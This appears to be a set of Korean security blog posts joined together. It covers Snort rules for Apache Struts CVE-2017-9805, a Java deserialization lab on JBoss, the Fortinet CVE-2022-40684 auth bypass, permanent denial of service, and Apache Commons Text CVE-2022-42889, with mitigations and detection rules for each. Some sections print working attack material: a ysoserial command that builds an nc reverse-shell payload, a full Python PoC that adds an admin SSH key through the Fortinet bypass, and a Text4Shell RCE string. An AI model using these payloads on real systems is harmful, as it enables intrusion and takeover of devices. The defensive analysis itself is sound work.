alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (ProcessBuilder)"; flow:to_server,established; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024663; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (Runtime.Exec)"; flow:to_server,established; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:".exec"; distance:0; http_client_body; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024664; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 1"; flow:to_server,established; content:"POST"; http_method; content:"eXNvc2VyaWFsL"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024668; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 2"; flow:to_server,established; content:"POST"; http_method; content:"lzb3NlcmlhbC"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024669; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 3"; flow:to_server,established; content:"POST"; http_method; content:"5c29zZXJpYWwv"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024670; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 4"; flow:to_server,established; content:"POST"; http_method; content:"|79 76 36 36 76|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024671; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 5"; flow:to_server,established; content:"POST"; http_method; content:"|72 2b 75 72|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024672; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 6"; flow:to_server,established; content:"POST"; http_method; content:"|4b 2f 72 71 2b|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024673; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (Runtime.Exec)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024674; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (ProcessBuilder)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024675; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN struts-pwn User-Agent"; flow:established,to_server; content:"User-Agent|3a 20|struts-pwn"; http_header; fast_pattern; reference:url,github.com/mazen160/struts-pwn_CVE-2017-9805/blob/master/struts-pwn.py; reference:cve,2017-9805; reference:url,paladion.net/paladion-cyber-labs-discovers-a-new-ransomware/; classtype:attempted-user; sid:2024843; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_10_16, deployment Datacenter, former_category SCAN, performance_impact Moderate, signature_severity Minor, updated_at 2022_04_18;)

 

5. 참고

https://nvd.nist.gov/vuln/detail/cve-2017-9805

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26667 

http://rules.emergingthreats.net/open/snort-2.9.0/emerging-all.rules

https://archive.apache.org/dist/struts/binaries/

https://archive.apache.org/dist/struts/2.5.13/

https://cwiki.apache.org/confluence/display/WW/S2-052

https://blogs.quickheal.com/cve-2017-9805-apache-struts-2-remote-code-execution-vulnerability-quick-heal-security-labs/

https://pentesterlab.com/exercises/s2-052/course

1. 역직렬화(Deserialization)

- 자바 프로그램상에서 어떤 객체가 생성되면 그 객체는 메모리에 상주하게되고, 프로그램이 실행되는 동안 필요에 따라 사용.

- 프로그램이 종료되면 메모리에 있던 객체는 사라지게됨.

- 객체는 지금까지 프로그램이 사용하면서 저장한 데이터가 있으며, 다음 번 프로그램 실행 시에도 계속해서 사용해야 한다면 저장이 필요.

- 저장을 위해 객체를 바이트 스트림으로 변환하는 과정을 직렬화(Serialization), 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 불러오는 과정을 역직렬화(Deserialization)라고 함.

[사진 1] 직렬화 및 역직렬화

- 공격자가 원격에서 코드를 실행할 수 있는 RCE 공격으로 이어지기 때문에 매우 심각한 영향을 줄 수 있는 취약점

 

2. 취약점 실습

- 역직렬화에 취약한 웹 페이지 접속

[사진 2] 취약한 JBoss

- 역직렬화 데이터가 어떤 식으로 표시되는지 /invoker/JMXInvokerServlet 요청을 통해 확인

- 버프슈트를 통해 확인할 경우 필터의 "Filter byMIME type"에서 "Other binary" 체크

* 버프슈트의 필터는 기본적으로 일반적으로 사용되는 웹 응답 타입만 표시하기 때문

[사진 3] 필터 설정

- 응답값에서 "Content-Type: application/x-java-serialized-object"를 통해 직렬화된 데이터가 전달되고 있는 것을 알 수 있음

[사진 4] Content-Type

- 또한, 직렬화 데이터는 바디 시작 부분을 확인해 보면, aced0005가 확인

- 해당 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 뒤에 오는 데이터가 직렬화된 데이터라는 것을 알려주는 매직 바이트

[사진 5] aced0005

- ysoserial을 이용해 해당 취약점을 공격할 수 있음

ysoserial
- URL : https://github.com/frohoff/ysoserial
- 해외 연구원들이 프레임워크상에서의 RCE 발생과 관련된 연구 결과를 입증하기 위해 제작한 개념증명 도구
- Java 프로그램에서 임의의 사용자 명령을 실행할 수 있게 해주는 페이로드를 생성할 수 있음

[사진 6] ysoserial

 

- 공격자는 nc 명령 실행 후 대기

[사진 7] 터미널 생성

 

- 공격자가 생성한 터미널로 피해 시스템에서 접속하기 위한 페이로드를 ysoserial을 이용해 생성

- CommonsCollections1은 페이로드의 한 종류로 JBoss 4.2.3.GA에 있는 CommonsCollections 패키지에 역직렬화 취약점이 있기 때문

$ java -jar <다운로드한 ysoserial 파일> CommonsCollections1 "nc <공격자 IP> 4000 -e /bin/bash" > reverse.bin

[사진 8] 공격용 파일 reverse.bin 생성

 

-  /invoker/JMXInvokerServlet 요청을 Repeater로 보낸 후 바디 부분에서 마우스 우클릭 > Paste from file을 통해 reverse.bin 파일 삽입

[사진 9] reverse.bin 파일 삽입

- 이후 요청을 전송하면 리버스쉘이 생성됨.

[사진 10] 리버스쉘 생성

 

3. 대응방안

① 아파치 CommonsCollections  패키지를 최신버전으로 업데이트
- 일일이 이러한 패키지를 확인하여 업데이트하는 것은 어렵기 때문에, 
- 프레임워크를 비롯한 웹 애플리케이션 개발을 위해 사용하는 구성요소들을

- 항상 최신 버전으로 유지하는 것을 권장

 

② 만일 개발 프로젝트에서 자체적으로 역직렬화를 수행하는 경우 다음 사항 고려 필요
- 역직렬화 전에 반드시 인증 과정을 수행
- 출처를 알 수 없는 객체의 경우 역직렬화를 수행하지 않음
- 직렬화된 객체에 디지털   서명이 되도록 하여 역직렬화 과정에서 객체의 변조 여부를 점검
- 가급적 최소 권한으로, 가능하다면 격리된 환경에서, 역직렬화를 수행

 

③ 직렬화 데이터 탐지

- 직렬화된 데이터의 경우 aced0005 값을 포함하므로 해당 문자열을 탐지할 수 있는 Snort 적용

alert tcp any any -> any any (msg:"Java Deserialized Payload";flow:to_server,established; content:"|ac ed 00 05|";)

1. Fortinet

- 보안 솔루션을 개발 및 판매하는 다국적 기업

 

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

Fortinet: 업계 최고의 사이버 보안 업체 및 멀웨어 보안 기능

www.fortinet.com

 

2. CVE-2022-40684

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-40684

- 취햑한 버전의 Fortinet 제품 Fortinet FortiOS, FortiProxy, FortiSwitchManager에서 조작된 HTTP/HTTPS 요청을 통해 발생하는 인증 우회 취약점 (CVSS 9.8점)

- FortiOS : Fortigate 방화벽 및 스위치와 같은 하드웨어에서 사용되는 Fortinet의 리눅스 기반 운영 체제
- FortiProxy : 여러 가지 탐지 기술(웹 필터링, DNS 필터링, 데이터 손실 방지, 안티바이러스, 침입 방지 및 지능형 위협 보호)을 통합하여 인터넷에서 발생하는 공격으로부터 보호하는 웹 프록시
- FortiSwitchManager : FortiSwitch 템플릿과 VLAN을 중앙에서 관리하고 FortiGate 장치에 연결된 FortiSwitch 장치를 모니터링
취약 버전
① FortiOS : 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6
② FortiProxy : 7.2.0 및 버전 7.0.0 ~ 7.0.6
③ FortiSwitchManager : 7.0.0 및 7.2.0
* FortiOS version 5.x, 6.x는 영향받지 않음

 

2.1 공격 원리

- 먼저 GET 요청을 통해 Fortinet 어플라이언스가 있는지 확인

[사진 2] GET 요청 예시

 

- Fortinet 어플라이언스 존재 시(취약한 서버 확인 시) PUT 요청을 통해 admin의 SSH 키를 자신의 키로 수정

- 이때, User-Agent 헤더와 Forwarded헤더를 조작

[사진 3] PUT 요청 예시

 

- 공격자의 접근을 위한 로컬 사용자 추가

 

2.2 취약점 분석

- 전달된 헤더를 구문 분석하고 for 및 by 필드를 추출하여 Apache request_rec 구조에 연결

[사진 4] 헤더 구문 분석

- vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.

[사진 5] api_check_access

 

- client_ip가 "127.0.01"이고 User-Agent 헤더가 두 번째 매개변수와 일치하는지 확인하는 함수

- 이 함수는 "Node.js"와 "Report Runner"의 두 가지 가능한 매개변수로 호출

- "Node.js" 경로는 추가 유효성 검사를 수행하는 것처럼 보이지만 "Report Runner"를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음

[사진 6] is_trusted_ip_and_user_agent

 

2.3 PoC 분석

#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


HEADERS = {
    'User-Agent': 'Report Runner',
    'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}

def format_key(key_file):
    with open(key_file) as f:
        k = f.read().strip()

    return(k)


def add_key(target, username, key_file):
    key = format_key(key_file)
    j = {
        "ssh-public-key1": '\"' + key + '\"'
    }
    url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
    r = requests.put(url, headers=HEADERS, json=j, verify=False)
    if 'SSH key is good' not in r.text:
        print(f'[-] {target} is not vulnerable!')
    else:
        print(f'[+] SSH key for {username} added successfully!')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
    parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
    args = parser.parse_args()

    add_key(args.target, args.username, args.key_file)

- PoC를 확인해보면 다음을 확인해 볼 수 있음

① /api/v2/cmdb/system/admin URL로 요청이 이루어짐 : Fortinet 어플라이언스 여부 확인

② is_trusted_ip_and_user_agent 함수를 우회하기 위해 헤더값 조작 : Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 및 User-Agent 가 "Report Runner" 설정

 

3. 대응방안

3.1 서버측면

① 최신 업데이트 적용

- FortiOS : 7.2.2 또는 7.0.7
- FortiProxy : 7.2.1 또는 7.0.7
- FortiSwitchManager : 7.2.1

- FG6000F, 7000E/F 시리즈 플랫폼의 경우 FortiOS 버전 7.0.5 B8001로 업데이트

 

② 즉시 보안 업데이트가 어려운 제품 사용자

- HTTP/HTTPS 관리 인터페이스 비활성화

- 관리 인터페이스에 도달할 수 있는 IP 제한 등 임시 조치를 권고

- 이 후 최신 버전으로 업데이트 필요

 

3.2 네트워크 측면

① PoC를 토대로 "/api/v2/cmdb/system/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함

alert tcp any any -> any any (msg:"Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)

 

3.3 공통

① 로그 모니터링

- 해당 취약점에 노출되었는지 확인

- 장치 로그에서 user=" Local_Process_Access", user_interface=" Node.js" 또는 user_interface=" Report Runner" 확인 

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2022-40684

https://www.fortiguard.com/psirt/FG-IR-22-377

https://github.com/horizon3ai/CVE-2022-40684

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66965&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMjItNDA2ODQ= 

1. 개요

- 지속 가능한 서비스 거부공격으로 “플래슁(Phlashing)”이라고도 부름

- 2008년 6월 휴렛패커드(HP)의 시스템보안 연구소장인 Rich Smith가 2008.06월에 유럽 공동체의 보안회의(EUSecWest Security Conference)에서 최초 시연

 

2. PDoS (Permanent Denial Of Service)

- 네트워크를 기반으로 하는 펌웨어(Firmware)를 원격 업데이트시킬 때 그 안에 악성 소프트웨어를 삽입시켜서 목표 시스템을 다운시키는 서비스거부 공격방법

펌웨어
- 프린터, 모뎀, 핸드폰, MP3 등의 각종 기기에 내장되어 있는 PROM(Programmable ROM) 내에 삽입되어 영구적으로 컴퓨터 장치의 일부가 되는 프로그램
- 기기의 성능 향상을 위하여 수시로 업데이트 수행

- PC부터 펌웨어를 사용하는 모든 기기들이 공격 대상

- 감염시킨 후 정보를 빼내거나 기기를 사용하지 못하도록 파괴시키는 목적으로 제작

- 시스템 전반에 위협을 가하는 보편성은 적으나 그동안 무방비 상태로 방치했거나 무관심 해왔던 펌웨어의 취약성에 대한 새로운 형태의 위협

- 삽입되는 악성 소프트웨어는 삽입 후 목표 시스템을 즉각 다운시키는 것과 논리 폭탄(Logic Bomb)처럼 잠복시켜서 범행자가 원하는 시기에 원하는 방법으로 서비스를 거부하는 2가지가 존재

 

3. DDoS와의 차이

3.1 DDoS

- 다수의 좀비 PC로 특정 타겟을 공격해 서버에 부하를 발생시켜 정상적 서비스를 제공하지 못하도록 함

- 핑(Ping) 메시지 등을 대량으로 송신하여 목표 시스템에 버퍼 오버플로우(Buffer Overflow) 상태를 일으켜서 시스템을 다운시키거나 많은 좀비 컴퓨터를 이용하여 목표 시스템을 집중 공격함으로써 시스템을 다운시키는 형태가 대표적

- 서비스 거부 상태를 발생시키려는 목적

 

3.2 PDoS

- 서비스 거부공격뿐 아니라 공격 대상 기기를 사용할 수 없도록 파괴하는 기능도 존재

- 서버를 공격하는 것이 아니라 각종 기기의 펌웨어에 악성 소프트웨어를 삽입시켜서 서비스 거부를 유발

- 정보를 탈취하거나 상대방의 기기를 사용 불능케 하려는 목적 및 기반시설을 파괴하는 등의 사이버 전쟁을 목표

 

- 따라서, PDoS는 DDoS 보다 공격 대상과 파괴력이 더욱 광범위

 

4. 대응

- 전자서명 등 무결성이 증명된 업데이트 적용 및 불분명한 출처에서 파일 다운 지양

- 공격에 노츨되었을 경우 펌웨어를 수정하려는 노력보다 ROM 자체를 교체하는 것이 시간적 비용적으로 빠를 수 있음

1. Apache Commons Tex

- 일종의 라이브러리로, 표준 자바 개발 키트(JDK)에 포함되어 텍스트 처리 기능을 강화 즉, 문자열에서 작동하는 알고리즘에 중점을 둔 라이브러리

- 현재 이 라이브러리를 활용하고 있는 프로젝트는 2588개

 

Commons Text – Home

Commons Text Apache Commons Text is a library focused on algorithms working on strings. Documentation We provide documentation in the form of a User Guide, Javadoc, and Project Reports. The Git repository can be browsed, or you can browse/contribute via Gi

commons.apache.org

 

2. CVE-2022-42889

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-42889

- Apache Commons Text 1.5.0 ~ 1.9.0에서 RCE가 가능한 취약점 (CVSS 9.8점)

- 취약한 버전의 변수 보간법을 수행하는 org.apache.commons.text.lookup.StringLookup에서 입력값에 대한 적절한 검증 없이 API를 사용하여 발생하는 취약점

변수 보간법
- 형식 : ${prefix:name}
- 여러 줄 문자열에 대해 연결 또는 이스케이프 문자를 사용하지 않고 변수, 함수 호출 및 산술 표현식을 문자열에 직접 삽입 할 수있는 기능
- 즉, 변수에 해당되는 값을 유동적으로 String에 넣을 수 있음

 

2.1 취약점 상세

- 취약한 서버 구동

$ git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker
$ cd cve-2022-42889-text4shell-docker
$ mvn clean install
$ docker build --tag=text4shell .
$ docker run -p 80:8080 text4shell

[사진 2] 취약 서버 구동

- 서버 구동 후 정상 접근 확인

[사진 3] 로컬 접근(위) 및 외부 접근(아래)

- 피해 시스템의 tmp 디렉터리 내용 확인

[사진 4] 피해 시스템 /tmp 파일 내용 확인

- search 파라미터에 아래 값을 URL로 한번 인코딩 후 Exploit

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

[사진 5] Exploit

 

- 이후 피해 시스템에서 tmp 디렉터리 내용을 확인해 보면 foo 파일이 생성된 것을 확인할 수 있음

[사진 6] foo 파일 생성

 

- 해당 패킷을 와이어샤크로 확인해보면 다음과 같음

[사진 7] 와이어샤크 패킷 확인

- 또한, 리버스쉘 생성 가능

[사진 8] 리버스 쉘

 

2.2 취약점 분석

 

Apache Commons Text远程代码执行漏洞(CVE-2022-42889)分析 - admin-神风 - 博客园

漏洞介绍 根据apache官方给出的说明介绍到Apache Commons Text执行变量插值,允许动态评估和扩展属性的一款工具包,插值的标准格式是"${prefix:name}"

www.cnblogs.com

[사진 9] 함수 호출 흐름

 

- StringSubstitutor.replace() 메서드에서 요청에 대한 첫번째 조치 수행을 위해 Substitut() 메소드 호출

public String replace(final String source) {

    if (source == null) {

        return null;

    }

    final TextStringBuilder buf = new TextStringBuilder(source);

    if (!substitute(buf, 0, source.length())) {

        return source;

    }

    return buf.toString();

 

- Substitut() 메소드는 ${} 문자열 분석을 위해 resolveVariable() 메소드 호출

[사진 10] Substitut() 메소드

protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,

                                 final int endPos) {

    final StringLookup resolver = getStringLookup();

    if (resolver == null) {

        return null;

    }

    return resolver.lookup(variableName);

}

 

- resolveVariable() 메소드에서 얻은 StringLookup은 인스턴스화된 객체가 StringSubstitutor.createInterpolator()를 사용해 생성된 값임

- 그리고 생성자에서 this.setVariableResolver(variableResolver)를 호출하여 VariableResolver를 InterpolatorStringLookup 클래스로 설정한 후 계속해서 InterpolatorStringLookup의 lookup 메소드를 추적

- 해당 lookup 메소드는 ":" 앞의 스크립트 문자열을 가로채 이를 인덱스로 사용하여 해당하는 StringLookup 개체를 가져옴(지원하는 작업 유형은 18가지).

[사진 11] StringLookup 개체

@Override

public String lookup(String var) {

    if (var == null) {

        return null;

    }

 

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);

    if (prefixPos >= 0) {

        final String prefix = toKey(var.substring(0, prefixPos));

        final String name = var.substring(prefixPos + 1);

        final StringLookup lookup = stringLookupMap.get(prefix);

        String value = null;

        if (lookup != null) {

            value = lookup.lookup(name);

        }

 

        if (value != null) {

            return value;

        }

        var = var.substring(prefixPos + 1);

    }

    if (defaultStringLookup != null) {

        return defaultStringLookup.lookup(var);

    }

    return null;

}

 

- ScriptStringLookup.lookup() 메서드 호출

@Override

public String lookup(final String key) {

    if (key == null) {

        return null;

    }

    final String[] keys = key.split(SPLIT_STR, 2);

    final int keyLen = keys.length;

    if (keyLen != 2) {

        throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.",

                                               key);

    }

    final String engineName = keys[0];

    final String script = keys[1];

    try {

        final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);

        if (scriptEngine == null) {

            throw new IllegalArgumentException("No script engine named " + engineName);

        }

        return Objects.toString(scriptEngine.eval(script), null);

    } catch (final Exception e) {

        throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,

                                               script);

    }

}

 

- js 스크립트 엔진을 가져와서 ScriptEngine.eval 메소드를 통해 코드를 실행

[사진 12] 취약점 발생 지점

3. 대응방안

① 취약점이 패치된 버전으로 업데이트 적용

- 취약점 패치 버전 : Apache Commons Text 1.10.0

- 변수 보간기를 기본적으로 비활성화

[사진 13] Apache Commons Text 1.10.0의 변수 보간기 개체

② Snort 룰 적용 후 탐지 및 차단

- 현재 위험성이 확인된 보간기 개체를 content 값으로 적용

- ${script:
- ${url:UTF-8:
- ${dns:
- ${script:JEXL:
- %24%7Bscript%3A
- %24%7Burl%3AUTF-8%3A
- %24%7Bdns%3A
- %24%7Bscript%3AJEXL%3A

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-42889

https://commons.apache.org/proper/commons-text/security.html

https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66968&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9VEVYVA== 

 

'취약점 > 4Shell' 카테고리의 다른 글

Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14

+ Recent posts